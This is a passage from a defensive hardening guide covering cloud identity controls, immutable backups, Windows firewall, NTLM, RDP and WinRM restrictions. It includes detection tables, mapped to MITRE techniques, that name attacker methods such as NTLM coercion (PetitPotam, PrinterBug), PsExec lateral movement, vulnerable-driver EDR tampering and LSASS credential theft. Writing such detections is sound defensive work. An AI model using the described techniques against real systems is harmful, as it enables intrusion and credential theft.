Additionally, organizations should leverage the concept of authenticators (identity + device attestation) as part of the authentication transaction. This includes enforcing a validated-device access policy that restricts privileged access to only originate from managed, compliant, and healthy devices. Trusted network zones should be defined in order to restrict access to cloud resources from the open internet. Untrusted network zones should be defined to restrict authentication from anonymizing services such as VPNs or TOR. Using device-bound session credentials where possible mitigates the risk of session token theft.

Identity and Device Segmentation for Privileged Actions

The implementation of privileged access workstations (PAWs) is a critical defense against threat actors attempting to compromise administrative sessions. A PAW is a highly hardened, dedicated hardware endpoint used exclusively for sensitive administrative tasks.

Administrators should leverage a non-privileged account for daily tasks, while privileged actions are restricted to only being permissible from the hardened PAW, or from explicitly defined IP ranges. This "air-gap" between communication and administration prevents an adversary from moving laterally from a compromised non-privileged identity to a privileged context within hybrid environments. 

Just-in-Time Access and the Principle of Least Privilege

Static, standing privileges present a security risk in hybrid environments. Following a zero-trust cloud architecture, administrative privileges should be entirely ephemeral. Implementing Just-In-Time (JIT) and Just-Enough-Access (JEA) mechanisms ensures that administrators are granted only the specific, granular permissions necessary to perform a discrete task, and only for a highly limited duration, after which the permissions are automatically revoked. This architectural model provides organizations with the ability to enforce approvals for privileged actions, enhanced monitoring, and detailed visibility regarding any privileged actions taken within a specific session.

Securing Non-Human Identities

Organizations should implement identity governance practices that include processes to rotate API keys, certificates, service account secrets, tokens, and sessions on a predefined basis. AI agents or identities correlating to autonomous outcomes should be configured with strictly scoped permissions and associated monitoring. Non-privileged users should be restricted from authorizing third-party application integrations or creating API keys without organizational approval.

Continuous scanning should be performed to identify and remediate hard-coded secrets and sensitive credentials across all cloud and SaaS environments.

Storage Infrastructure Security and Immutable Backups

The strategic objective of a destructive cyberattack—whether for extortion or sabotage—is to prolong recovery and reconstitution efforts by ensuring data is irrecoverable. Modern adversaries systematically target the backup plane as part of a destructive event. If backups remain mutable or share an identity plane with the primary environment, attackers can delete or encrypt them, transforming an incident into a prolonged and chaotic recovery exercise.

While modern-day redundancy for backups should include multiple data copies across diverse media, geographic separation can be a subverted defensive strategy if logical access is unified. To ensure resilience against destructive attacks, the secondary recovery environment should reside within a sovereign cloud tenant or isolated subscription. This environment should be governed by an independent Identity and Access Management (IAM) plane, using distinct credentials and administrative personas that share no commonality with the production environment.

Backups within an isolated environment must be anchored by immutable storage architectures. By leveraging hardware-verified Write-Once, Read-Many (WORM) technology, the recovery plane ensures that data integrity is mathematically guaranteed. Once committed, data cannot be modified, encrypted, or deleted—even by accounts with root or global administrative privileges, until the retention period expires. This creates a definitive "fail-safe" that ensures a known-good recovery point remains accessible regardless of potential security risks in the primary environment.

Additional defense-in-depth security architecture controls relevant to common cloud-based infrastructures are included in Table 9.

Table 9: Common cloud capabilities for infrastructure hardening

Detection Opportunities for Protecting Cloud Infrastructure and Resources

Use Case

MITRE ID

Description

Cloud Account Abuse

T1078.004 - Valid Accounts: Cloud Accounts

Monitor cloud audit logs for authentication from unseen source IPs, anomalous ASNs, or impossible travel patterns. 

Alert on IAM policy modifications, new role assignments, and service account key creation by accounts without prior administrative API activity.

Lateral Movement via Cloud Interfaces

T1021.007 - Remote Services: Cloud Services

Detect interactive console sign-ins from IPs that previously only performed programmatic API/CLI access. Alert on cloud CLI execution from non-administrative endpoints. 

Monitor for cross-service lateral movement where a single identity authenticates to multiple cloud services in a compressed timeframe outside its historical access pattern.

Modify Cloud Compute Configurations

T1578.005 - Modify Cloud Compute Configurations

Monitor for unauthorized compute changes including bulk instance creation or deletion deviating from change management baselines. 

Alert on snapshot creation of production volumes by non-backup accounts, disk detach/reattach targeting domain controller or database instances for offline credential theft, and network/firewall modifications exposing internal services to public access.

Cloud Log Enumeration

T1654 - Log Enumeration

Monitor for API calls listing or accessing logging configurations from identities without documented operational need. 

Alert on enumeration of SIEM integration settings, log export destinations, and alert rule definitions.

Mass Deletion & Impact

T1490 - Inhibit System Recovery

Alert when bulk delete API calls exceed baseline thresholds targeting compute instances, storage, databases, or virtual networks. 

Detect deletion or retention reduction of recovery-critical resources including backup vaults, snapshot schedules, and disaster recovery configurations.

Backup Policy Modification or Deletion

T1490 - Inhibit System Recovery

Monitor for unauthorized modifications to backup configurations, including changes to WORM retention policies, backup vault access policies, snapshot deletion, or backup schedule disablement. 

Alert on backup storage account access from identities other than designated backup service accounts.

Conditional Access or Security Policy Modification

T1556.009 - Conditional Access Policies

Monitor cloud identity provider audit logs for modifications to Conditional Access Policies, MFA enforcement rules, legacy authentication blocking rules, or PIM/JIT role settings. Alert on changes that add location or device exclusions to MFA policies, disable legacy protocol blocks, extend privilege role activation durations, or register new authentication methods on privileged accounts.

Table 10: Detection opportunities for protecting cloud infrastructure and resources

3. On-Premises Lateral Movement Protections

Endpoint Hardening

Windows Firewall Configurations

Once initial access to on-premises infrastructure is established, threat actors will conduct lateral movement to attempt to further expand the scope of access and persistence. To protect Windows endpoints from being accessed using common lateral movement techniques, a Windows Firewall policy can be configured to restrict the scope of communications permitted between endpoints within an environment. A Windows Firewall policy can be enforced locally or centrally as part of a Group Policy Object (GPO) configuration. At a minimum, the common ports and protocols leveraged for lateral movement that should be blocked between workstation-to-workstation and workstations to non-domain controllers and non-file servers include:

  • SMB (TCP/445, TCP/135, TCP/139)

  • Remote Desktop Protocol (TCP/3389)

  • Windows Remote Management (WinRM)/Remote PowerShell (TCP/80, TCP/5985, TCP/5986)

  • Windows Management Instrumentation (WMI) (dynamic port range assigned through Distributed Component Object Model (DCOM))

Using a GPO (Figure 5), the settings listed in Table 11 can be configured for the Windows Firewall to control inbound communications to endpoints in a managed environment. The referenced settings will effectively block all inbound connections for the Private and Public profiles, and for the Domain profile, only allow connections that do not match a predefined block rule.

Computer Configuration > Policies > Windows Settings > Security Settings > Windows Firewall with Advanced Security

Figure 5: GPO path for creating Windows Firewall rules

Profile Setting

Firewall State

Inbound Connections

Log Dropped Packets

Log Successful Connections

Log File Path

Log File Maximum Size (KB)

Domain

On

Allow

Yes

Yes

%systemroot%\system32\LogFiles\Firewall\pfirewall.log

4,096

Private

On

Block All Connections

Yes

Yes

%systemroot%\system32\LogFiles\Firewall\pfirewall.log

4,096

Public

On

Block All Connections

Yes

Yes

%systemroot%\system32\LogFiles\Firewall\pfirewall.log

4,096

Table 11: Windows Firewall recommended configuration state
Windows Firewall Recommendation Configurations

Figure 6: Windows Firewall recommendation configurations

Additionally, to ensure that only centrally managed firewall rules are enforced (and cannot be overridden by a threat actor), the settings for Apply local firewall rules and Apply local connection security rules can be set to No for all profiles.

Windows Firewall Domain Profile Customized Settings

Figure 7: Windows Firewall domain profile customized settings

To quickly contain and isolate systems, the centralized Windows Firewall setting of Block all connections (Figure 8) will prevent any inbound connections from being established to a system. This is a setting that can be enforced on workstations and laptops, but will likely impact operations if enforced for servers, although if there is evidence of an active threat actor lateral pivoting within an environment, it may be a necessary step for rapid containment.

Note: If this control is being used temporarily to facilitate containment as part of an active incident, once the incident has been contained and it has been deemed safe to re-establish connectivity among systems within an environment, the Inbound Connections setting can be changed back to Allow using a GPO.

Windows Firewall - Block All Connections Settings

Figure 8: Windows Firewall - Block All Connections settings

If blocking all inbound connectivity for endpoints during a containment event is not practical, or for the Domain profile configurations, at a minimum, the protocols listed in Table 12 should be enforced using either a GPO or via the commands referenced within the table.

For any specific applications that may require inbound connectivity to end-user endpoints, the local firewall policy should be configured with specific IP address exceptions for origination systems that are authorized to initiate inbound connections to such devices.

Protocol/Port

Windows Firewall Rule

Command Line Enforcement

SMB

TCP/445, TCP/139, TCP/135

Predefined Rule Name:

  • File and Print Sharing

  • Remote Desktop

  • Windows Management Instrumentation (WMI)

  • Windows Remote Management

  • Windows Remote Management (Compatibility)

  • TCP/5986

netsh advfirewall firewall set rule group="File and Printer Sharing" new enable=no

Remote Desktop Protocol

TCP/3389

Predefined Rule Name:

netsh advfirewall firewall set rule group="Remote Desktop" new enable=no

WMI

Predefined Rule Name:

netsh advfirewall firewall set rule group="windows management instrumentation (wmi)" new enable=no

Windows Remote Management/PowerShell Remoting

TCP/80, TCP/5985, TCP/5986

Predefined Rule Name:

netsh advfirewall firewall set rule group="Windows Remote Management" new enable=no

Via PowerShell:

Disable-PSRemoting -Force

Table 12: Windows Firewall suggested block rules

Windows Firewall Suggested Rule Blocks via Group Policy

Figure 9: Windows Firewall suggested rule blocks via Group Policy

NTLM Authentication Configurations

Threat actors often attempt to harvest credentials (including Windows NTLMv1 hashes) based upon outbound SMB or WebDAV communications. Organizations should review NTLM settings for Windows-based endpoints, and work to harden, disable, or restrict NTLMv1 authentication requests. 

To fully restrict NTLM authentication to remote servers, the following GPO settings can be leveraged:

  • Computer Configuration > Windows Settings > Security Settings > Local Policies > Security Options > Network Security: Restrict NTLM: Outgoing NTLM traffic to remote servers 

    • Allow all

    • Audit all

    • Deny all

Note: If "Deny all" is selected, the client computer cannot authenticate (send credentials) to a remote server using NTLM authentication. Before setting to "Deny all," organizations should configure the GPO setting with the "Audit all" enforcement. With this configuration, audit and block events will be recorded within the Operational event log on endpoints (Applications and Services Log\Microsoft\Windows\NTLM).

If any recorded NTLM authentication events are required, organizations can configure the "Network security: Restrict NTLM: Add remote server exceptions for NTLM authentication" setting to define a listing of remote servers, which are required to use NTLM authentication.

Detection Opportunities for SMB, WMI, and NTLM Communications

Use Case

MITRE ID

Description

High Volume of SMB Connections

T1021.002 – SMB/Windows Admin Shares

Search for a sharp increase in SMB connections that fall outside of a normal pattern.

Outbound Connection Attempted Over SMB

T1212 – Exploitation for Credential Access

Search for external connection attempts over SMB, as this may be an attempt to harvest credential hashes.

WMI Being Used to Call a Remote Service

T1047 – Windows Management Instrumentation

Search for WMI being used via a command line or PowerShell to call a remote service for execution.

WMI Being Used for Ingress Tool Transfer

T1105 – Ingress Tool Transfer

Search for suspicious usage of WMI to download external resources. 

Forced NTLM Authentication Using SMB or WebDAV

T1187 – Forced Authentication

Search for potential NTLM authentication attempts using SMB or WebDAV.

NTLM Relay via Coercion

T1187 - Forced Authentication

Monitor for NTLM authentication attempts from Domain Controllers or privileged servers to unexpected destinations, particularly to HTTP endpoints (AD CS web enrollment). 

Detect PetitPotam by monitoring for EfsRpcOpenFileRaw calls, DFSCoerce via DFS-related named pipe access, and PrinterBug via SpoolService RPC calls.

Table 13: Detection opportunities for SMB, WMI, and NTLM communications

Remote Desktop Protocol Hardening

Remote Desktop Protocol (RDP) is a common method used by threat actors to remotely connect to systems, laterally move from the perimeter onto a larger scope of internal systems, and perform malicious activities (such as data theft or ransomware deployment). External-facing systems with RDP open to the internet present an elevated risk. Threat actors may exploit this vector to gain initial access to an organization and then perform lateral movement into the organization to complete their mission objectives.

Proactively, organizations should scan their public IP address ranges to identify systems with RDP (TCP/3389) and other protocols (SMB – TCP/445) open to the internet. At a minimum, RDP and SMB should not be directly exposed for ingress and egress access to/from the internet. If required for operational purposes, explicit controls should be implemented to restrict the source IP addresses, which can interface with systems using these protocols. The following hardening recommendations should also be implemented.

Enforce Multi-Factor Authentication

If external-facing RDP must be used for operational purposes, MFA should be enforced when connecting using this method. This can be accomplished either via the integration of a third-party MFA technology or by leveraging a Remote Desktop Gateway and Azure Multifactor Authentication Server using Remote Authentication Dial-In User Service (RADIUS).

Leverage Network-Level Authentication

For external-facing RDP servers, Network-Level Authentication (NLA) provides an extra layer of preauthentication before a connection is established. NLA can also be useful for protecting against brute-force attacks, which often target open internet-facing RDP servers.

NLA can be configured either via the user interface (UI) (Figure 10) or via Group Policy (Figure 11).

Enabling NLA via the UI

Figure 10: Enabling NLA via the UI

Using a GPO, the setting for NLA can be configured via:

  • Computer Configuration > Policies > Administrative Templates > Windows Components > Remote Desktop Services > Remote Desktop Session Host > Security > Require user authentication for remote connections by using Network Level Authentication

    • Enabled

Enabling NLA via Group Policy

Figure 11: Enabling NLA via Group Policy

Some caveats about leveraging NLA for RDP:

  • The Remote Desktop client v7.0 (or greater) must be leveraged.

  • NLA uses CredSSP to pass authentication requests on the initiating system. CredSSP stores credentials in Local Security Authority (LSA) memory on the initiating system, and these credentials may remain in memory even after a user logs off the system. This provides a potential exposure risk for credentials in memory on the source system.

  • On the RDP server, users permitted for remote access using RDP must be assigned the Access this computer from the network privilege when NLA is enforced. This privilege is often explicitly denied for user accounts to protect against lateral movement techniques.

Restrict Administrative Accounts from Leveraging RDP on Internet-Facing Systems

For external-facing RDP servers, highly privileged domain and local administrative accounts should not be permitted access to authenticate with the external-facing systems using RDP (Figure 12). 

This can be enforced using Group Policy, configurable via the following path: 

  • Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > User Rights Assignment > Deny log on through Terminal Services

Group Policy configuration for restricting highly privileged domain and local administrative accounts from leveraging RDP

Figure 12: Group Policy configuration for restricting highly privileged domain and local administrative accounts from leveraging RDP

Detection Opportunities for RDP Usage

Use Case

MITRE ID

Description

RDP Authentication Integration 

T1110 – Brute Force

T1078 – Valid Accounts

T1021.001 – Remote Desktop Protocol

Existing authentication rules should include RDP attempts. This includes use cases for:

  • Brute Force

  • Password Spraying

  • MFA Failures Single User

  • MFA Failures Single Source

  • External Authentication from an Account with Elevated Privileges

Anomalous Connection Attempts over RDP

T1078 – Valid Accounts

T1021.001 – Remote Desktop Protocol

Searching for anomalous RDP connection attempts over known RDP ports such as TCP/3389.

Table 14: Detection Opportunities for RDP Usage

Disabling Administrative/Hidden Shares

To conduct lateral movement, threat actors may attempt to identify administrative or hidden network shares, including those that are not explicitly mapped to a drive letter and use these for remotely binding to endpoints throughout an environment. As a protective or rapid containment measure, organizations may need to quickly disable default administrative or hidden shares from being accessible on endpoints. This can be accomplished by either modifying the registry, stopping a service, or by using the MSS (Legacy) Group Policy template.

Common administrative and hidden shares on endpoints include:

  • ADMIN$
  • C$
  • D$
  • IPC$

Note: Disabling administrative and hidden shares on servers, specifically including domain controllers, may significantly impact the operation and functionality of systems within a domain-based environment.

Additionally, if PsExec is used in an environment, disabling the admin (ADMIN$) share can restrict the capability for this tool to be used to remotely interface with endpoints.
Registry Method

Using the registry, administrative and hidden shares can be disabled on endpoints (Figure 13 and Figure 14).

Workstations
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters
DWORD Name = "AutoShareWks"
Value = "0"

Figure 13: Registry value disabling administrative shares on workstations

Servers
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters
DWORD Name = "AutoShareServer"
Value = "0"

Figure 14: Registry value disabling administrative shares on servers

Service Method

By stopping the Server service on an endpoint, the ability to access any shares hosted on the endpoint will be disabled (Figure 15).

Server service properties

Figure 15: Server service properties

Group Policy Method

Using the MSS (Legacy) Group Policy template, administrative and hidden shares can be disabled on either a server or workstation via a GPO setting (Figure 16).

  • Computer Configuration > Policies > Administrative Templates > MSS (Legacy) > MSS (AutoShareServer)

    • Disabled

  • Computer Configuration > Policies > Administrative Templates > MSS (Legacy) > MSS (AutoShareWks)

    • Disabled

Disabling Administrative And Hidden Shares via the MSS (Legacy) Group Policy Template

Figure 16: Disabling administrative and hidden shares via the MSS (Legacy) Group Policy template

Detection Opportunities for Accessing Administrative or Hidden Shares

Use Case

MITRE ID

Description

Network Discovery: Suspicious Usage of the Net Command

T1049 - System Network Connections Discovery

T1135 - Network Share Discovery

Search for suspicious use of the net command to enumerate systems and file shares within an environment.

Table 15: Detection opportunities for accessing administrative or hidden shares

Hardening Windows Remote Management

Threat actors may leverage Windows Remote Management (WinRM) to laterally move throughout an environment. WinRM is enabled by default on all Windows Server operating systems (since Windows Server 2012 and above), but disabled on all client operating systems (Windows 7 and Windows 10) and older server platforms (Windows Server 2008 R2).

PowerShell remoting (PS remoting) is a native Windows remote command execution feature that is built on top of the WinRM protocol.

Windows client (nonserver) operating system platforms where WinRM is disabled indicates that there is:

  • No WinRM listener configured

  • No Windows firewall exception configured

By default, WinRM uses TCP/5985 and TCP/5986, which can be either disabled using the Windows Firewall or configured so that a specific subset of IP addresses can be authorized for connecting to endpoints using WinRM.

WinRM and PowerShell remoting can be explicitly disabled on endpoint using either a PowerShell command (Figure 17) or specific GPO settings.

PowerShell
Disable-PSRemoting -Force

Figure 17: PowerShell command to disable WinRM/PowerShell remoting on an endpoint

Note: Running Disable-PSRemoting -Force does not prevent local users from creating PowerShell sessions on the local computer or for sessions destined for remote computers.

After running the command, the message recorded in Figure 18 will be displayed. These steps provide additional hardening, but after running the Disable-PSRemoting -Force command, PowerShell sessions destined for the target endpoint will not be successful.

Warning message after disabling PSRemoting

Figure 18: Warning message after disabling PSRemoting

To enforce the additional steps for disabling WinRM via PowerShell (Figure 19 through Figure 22):

  1. Stop and disable the WinRM service.

    Stop-Service WinRM -PassThruSet-Service WinRM -StartupType Disabled

    Figure 19: PowerShell command to stop and disable the WinRM service


  2. Disable the listener that accepts requests on any IP address.

    dir wsman:\localhost\listener
    
    Remove-Item -Path WSMan:\Localhost\listener\<Listener name>

    Figure 20: PowerShell commands to delete a WSMan listener


  3. Disable the firewall exceptions for WS-Management communications.

    Set-NetFirewallRule -DisplayName 'Windows Remote Management (HTTP-In)' -Enabled False 

    Figure 21: PowerShell command to disable firewall exceptions for WinRM


  4. Restore the value of the LocalAccountTokenFilterPolicy to 0, which restricts remote access to members of the Administrators group on the computer.

    Set-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system -Name LocalAccountTokenFilterPolicy -Value 0

    Figure 22: PowerShell command to configure the registry key for LocalAccountTokenFilterPolicy

Group Policy
  • Computer Configuration > Policies > Administrative Templates > Windows Components > Windows Remote Management (WinRM) > WinRM Service > Allow remote server management through WinRM

    • Disabled

If this setting is configured as Disabled, the WinRM service will not respond to requests from a remote computer, regardless of whether any WinRM listeners are configured.

  • Computer Configuration > Policies > Administrative Templates > Windows Components > Windows Remote Shell > Allow Remote Shell Access 

    • Disabled

This policy setting will manage the configuration of remote access to all supported shells to execute scripts and commands.

Detection Opportunities for WinRM Usage

Use Case

MITRE ID

Description

Unauthorized WinRM Execution Attempt

T1021.006 - Remote Services: Windows Remote Management

Search for command execution attempts for WinRM on a system where WinRM has been disabled.

Suspicious Process Creation Using WinRM

T1021.006 - Remote Services: Windows Remote Management

Search for anomalous process creation events using WinRM that deviate from an established baseline.

Suspicious Network Connection Using WinRM

T1021.006 - Remote Services: Windows Remote Management

Search for network activity over known WinRM ports, such as TCP/5985 and TCP/5986, to identify anomalous connections that deviate from an established baseline.

Remote WMI Connection Using WinRM

T1021.006 - Remote Services: Windows Remote Management

Search for remote WMI connection attempts using WinRM. 

Table 16: Detection opportunities for WinRM use

Restricting Common Lateral Movement Tools and Methods

Table 17 provides a consolidated summary of security configurations that can be leveraged to combat against common remote access tools and methods used for lateral movement within environments.

Tool/Tactic

Mitigating Security Configurations (Target Endpoints)

PsExec (using the current logged-on user account, without the -u switch)

If the -u switch is not leveraged, authentication will use Kerberos or NTLM for the current logged-on user of the source endpoint and will register as a Type 3 (network) logon on the destination endpoint.

PsExec high-level functionality:

  • Connects to the hidden ADMIN$ share (mapping to the C:\Windows folder) on a remote endpoint via SMB (TCP/445).

  • Uses the Service Control Manager (SCM) to start the PSExecsvc service and enable a named pipe on a remote endpoint.

  • Input/output redirection for the console is achieved via the created named pipe.

Option 1:

GPO configuration:

  • Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > User Rights Assignment

  • Deny access to this computer from the network

  • Deny access to this computer from the network

  • Deny log on locally

  • Deny log on through Terminal Services

  • DCOM:Machine Launch Restrictions in Security Descriptor Definition Language (SDDL) Syntax

  • Computer Configuration > Policies > Windows Settings > Local Policies > Security Options

  • DCOM:Machine Access Restrictions in Security Descriptor Definition Language (SDDL) Syntax

  • Deny access to this computer from the network

Option 2: 

Windows Firewall rule:

netsh advfirewall firewall set rule group="File and Printer Sharing" new enable=no

Figure 23: PowerShell command to disable inbound file and print sharing (SMB) for an endpoint using a local Windows Firewall rule

Option 3:

Disable administrative and hidden shares.

PsExec (with Alternative Credentials, via the -u switch)

If the -u switch is leveraged, authentication will use the alternate supplied credentials and will register as a Type 3 (network) and Type 2 (interactive) logon on the destination endpoint.

Option 1:

GPO configuration:

  • Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > User Rights Assignment

Option 2:

Windows Firewall rule:

netsh advfirewall firewall set rule group="File and Printer Sharing" new enable=no

Figure 24: PowerShell command to disable inbound file and print sharing (SMB) for an endpoint using a local Windows Firewall rule

Remote Desktop Protocol (RDP)

Option 1:

GPO configuration:

  • Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > User Rights Assignment

Option 2:

Windows Firewall rule:

netsh advfirewall firewall set rule group="Remote Desktop" new enable=no

Figure 25: PowerShell command to disable inbound Remote Desktop (RDP) for an endpoint using a local Windows Firewall rule

PS remoting and WinRM

Option 1:

PowerShell command:

Disable-PSRemoting -Force

Figure 26: PowerShell command to disable PowerShell remoting for an endpoint

Option 2:

GPO configuration:

  • Computer Configuration > Policies > Administrative Templates > Windows Components > Windows Remote Management (WinRM) > WinRM Service > Allow remote server management through WinRM

Option 3:

Windows Firewall rule:

netsh advfirewall firewall set rule group="Windows Remote Management" new enable=no

Figure 27: PowerShell command to disable inbound WinRM for an endpoint using a local Windows Firewall rule

Distributed Component Object Model (DCOM)

Option 1:

GPO configuration:

  • Computer Configuration > Policies > Windows Settings > Local Policies > Security Options

Both of these settings allow an organization to define additional computer-wide controls that govern access to all DCOM–based applications on an endpoint.

When users or groups that are provided permissions are specified, the security descriptor field is populated with the SDDL representation of those groups and privileges.

Users and groups can be given explicit Allow or Deny privileges for both local and remote access using DCOM.

Option 2:

Windows Firewall rules:

netsh advfirewall firewall set rule group="COM+ Network Access" new enable=no

netsh advfirewall firewall set rule group="COM+ Remote Administration" new enable=no

Figure 28: PowerShell commands to disable inbound DCOM for an endpoint using a local Windows Firewall rule

Third-party remote access applications (e.g., VNC/DameWare/ScreenConnect) that rely upon specific interactive and remote logon permissions being configured on an endpoint.

GPO configuration:

  • Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > User Rights Assignment

Table 17: Common lateral movement tools/methods and mitigating security controls

Detection Opportunities for Common Lateral Movement Tools and Methods

Use Case

MITRE

Description

Anomalous PsExec Usage

T1569.002 – System Services: Service Execution

T1021.002 – Remote Services: SMB/Windows Admin Shares

T1570 – Lateral Tool Transfer

Search for attempted execution of PsExec on systems where PsExec is disabled or where it deviates from normal activity.

Process Creation Event Involving a COM Object by Different User

T1021.003 – Remote Services: Distributed Component Object Model

T1078 – Valid Accounts

Search for process creation events including COM objects that are initiated by an account that is not currently the logged-in user for the system.

High Volume of DCOM-Related Activity

T1021.003 – Remote Services: Distributed Component Object Model

Search for a sharp increase in volume of DCOM-related activity. 

Third-Party Remote Access Applications

T1219 – Remote Access Software

Search for anomalous use of third-party remote access applications. This type of activity could indicate a threat actor is attempting to use third-party remote access applications as an alternate communication channel or for creating remote interactive sessions.

BYOVD - EDR/AV Tampering via Vulnerable Drivers

T1068 - Exploitation for Privilege Escalation

T1562.001 - Impair Defenses

Monitor for kernel driver installations (Sysmon Event ID 6) where the loaded driver hash matches known vulnerable drivers from the LOLDrivers project.

Alert on new service creation (Event ID 7045) loading .sys files from user-writable paths (e.g., %TEMP%, %APPDATA%). 

RMM Tool Abuse for Lateral Movement

T1219 - Remote Access Tools

Monitor for installation or execution of legitimate RMM tools (ScreenConnect/ConnectWise, AnyDesk, Atera, Splashtop, TeamViewer) that are not part of the organization's approved toolset.

Monitor for new service installations matching known RMM tool signatures.

Table 18: Detection opportunities for common lateral movement tools and methods

Additional Endpoint Hardening

To help protect against malicious binaries, malware, and encryptors being invoked on endpoints, additional security hardening technologies and controls should be considered. Examples of additional security controls for consideration for Windows-based endpoints are provided as follows.

Windows Defender Application Control

Windows Defender Application Control is a set of inherent configuration settings within Active Directory that provide lockdown and control mechanisms for controlling which applications and files users can run on endpoints. With this functionality, the following types of rules can be configured within GPOs:

  • Publisher rules: Can be leveraged to allow or restrict execution of files based upon digital signatures and other attributes

  • Path rules: Can be leveraged to allow or restrict file execution or access based upon files residing in specific path

  • File hash rules: Can be leveraged to allow or restrict file execution based on a file's hash

Additional information related to Windows Defender Application Control.

Microsoft Defender Attack Surface Reduction

Microsoft Defender Attack Surface Reduction (ASR) rules can help protect against various threats, including:

  • A threat actor launching executable files and scripts that attempt to download or run files

  • A threat actor running obfuscated or suspicious scripts

  • A threat actor invoking credential theft tools that interface with Local Security Authority Subsystem Service (LSASS)

  • A threat actor invoking PsExec or WMI commands

  • Normalizing and blocking behaviors that applications do not usually initiate as part of standardized activity

  • Blocking executable content from email clients and web mail (phishing)

ASR requires a Windows E3 license or above. A Windows E5 license provides advanced management capabilities for ASR.

Additional information related to Microsoft Defender Attack Surface Reduction functionality.

Controlled Folder Access

Controlled folder access can help protect data from being encrypted by ransomware. Beginning with Windows 10 version 1709+ and Windows Server 2019+, controlled folder access was introduced within Windows Defender Antivirus (as part of Windows Defender Exploit Guard). 

Once controlled folder access is enabled, applications and executable files are assessed by Windows Defender Antivirus, which then determines if an application is malicious or safe. If an application is determined to be malicious or suspicious, it will be blocked from making changes to any files in a protected folder.

Once enabled, controlled folder access will apply to a number of system folders and default locations, including:

  • Documents
    • C:\users\<username>\Documents
    • C:\users\Public\Documents
  • Pictures
    • C:\users\<username>\Pictures
    • C:\users\Public\Pictures
  • Videos
    • C:\users\<username>\Videos
    • C:\users\Public\Videos
  • Music
    • C:\users\<username>\Music
    • C:\users\Public\Music
  • Desktop
    • C:\users\<username>\Desktop
    • C:\users\Public\Desktop
  • Favorites
    • C:\users\<username>\Favorites

Additional folders can be added using the Windows Security application, Group Policy, PowerShell, or mobile device management (MDM) configuration service providers (CSPs). Additionally, applications can be allow-listed for access to protected folders.

Note: For controlled folder access to fully function, Windows Defender's Real Time Protection setting must be enabled.

Additional information related to controlled folder access.

Tamper Protection

Threat actors will often attempt to disable security features on endpoints. Tamper protection either in Windows (via Microsoft Defender for Endpoint) or integrated within third-party AV/EDR platforms can help protect security tools from being modified or stopped by a threat actor. Organizations should review the configuration of security technologies that are deployed to endpoints and verify if tamper protection is (or can be) enabled to protect against unauthorized modification. Once implemented, organizations should test and validate that the tamper protection controls behave as expected as different products offer different levels of protection.

Additional information related to tamper protection for Windows Defender for Endpoint.

Detection Opportunities for Tamper Protection Events

Use Case

MITRE

Description

Threat Actor Attempting to Disable Security Tooling on an Endpoint

T1562.001 - Disable or Modify Tools

Monitor for evidence of processes or command-line arguments correlating to security tools/services being stopped.

Table 19: Detection opportunities for tamper protection events

4. Credential Exposure and Account Protections

Identification of Privileged Accounts and Groups

Threat actors will prioritize identifying privileged accounts as part of reconnaissance efforts. Once identified, threat actors will attempt to obtain credentials for these accounts for lateral movement, persistence, and mission fulfillment.

Organizations should proactively focus on identifying and reviewing the scope of accounts and groups within Active Directory that have an elevated level of privilege. An elevated level of privilege can be determined by the following criteria:

  • Accounts or nested groups that are assigned membership into default domain and Exchange-based privileged groups (Figure 29)

  • Accounts or nested groups that are assigned membership into security groups protected by AdminSDHolder

  • Accounts or groups assigned permissions for organizational units (OUs) housing privileged accounts, groups, or endpoints

  • Accounts or groups assigned specific extended right permissions either directly at the root of the domain or for OUs where permissions are inherited by child objects. Examples include:

    • DS-Replication-Get-Changes-All
    • Administer Exchange Information Store
    • View Exchange Information Store Status
    • Create-Inbound-Forest-Trust
    • Migrate-SID-History
    • Reanimate-Tombstones
    • View Exchange Information Store Status
    • User-Force-Change-Password
  • Accounts or groups assigned permissions for modifying or linking GPOs

  • Accounts or groups assigned explicit permissions on domain controllers or Tier 0 endpoints

  • Accounts or groups assigned directory service replication permissions

  • Accounts or groups with local administrative access on all endpoints (or a large scope of critical assets) in a domain

To identify accounts that are provided membership into default domain-based privileged groups or are protected by AdminSDHolder, the following PowerShell cmdlets can be run from a domain controller.

get-ADGroupMember -Identity "Domain Admins" -Recursive | export-csv -path <output directory>\DomainAdmins.csv -NoTypeInformation 

get-ADGroupMember -Identity "Enterprise Admins" -Recursive | export-csv -path <output directory>\EnterpriseAdmins.csv -NoTypeInformation 

get-ADGroupMember -Identity "Schema Admins" -Recursive | export-csv -path <output directory>\SchemaAdmins.csv -NoTypeInformation

get-ADGroupMember -Identity "Administrators" -Recursive | export-csv -path <output directory>\Administrators.csv -NoTypeInformation 

get-ADGroupMember -Identity "Account Operators" -Recursive | export-csv -path <output directory>\AccountOperators.csv -NoTypeInformation 

get-ADGroupMember -Identity "Backup Operators" -Recursive | export-csv -path <output directory>\BackupOperators.csv -NoTypeInformation 

get-ADGroupMember -Identity "Cert Publishers" -Recursive | export-csv -path <output directory>\CertPublishers.csv -NoTypeInformation 

get-ADGroupMember -Identity "Print Operators" -Recursive | export-csv -path <output directory>\PrintOperators.csv -NoTypeInformation 

get-ADGroupMember -Identity "Server Operators" -Recursive | export-csv -path <output directory>\ServerOperators.csv -NoTypeInformation 

get-ADGroupMember -Identity "DNSAdmins" -Recursive | export-csv -path <output directory>\DNSAdmins.csv -NoTypeInformation 

get-ADGroupMember -Identity "Group Policy Creator Owners" -Recursive | export-csv -path <output directory>\Group-Policy-Creator-Owners.csv -NoTypeInformation 

get-ADGroupMember -Identity "Exchange Trusted Subsystem" -Recursive | export-csv -path <output directory>\Exchange-Trusted-Subsystem.csv -NoTypeInformation

get-ADGroupMember -Identity "Exchange Windows Permissions" -Recursive | export-csv -path <output directory>\Exchange-Windows-Permissions.csv -NoTypeInformation 

get-ADGroupMember -Identity "Exchange Recipient Administrators" -Recursive | export-csv -path <output directory>\Exchange-Recipient-Admins.csv -NoTypeInformation 

get-ADUser -Filter {(AdminCount -eq 1) -And (Enabled -eq $True)} | Select-Object Name, DistinguishedName | export-csv -path <output directory>\AdminSDHolder_Enabled.csv

Figure 29: Commands to identify domain and exchange-based privileged accounts

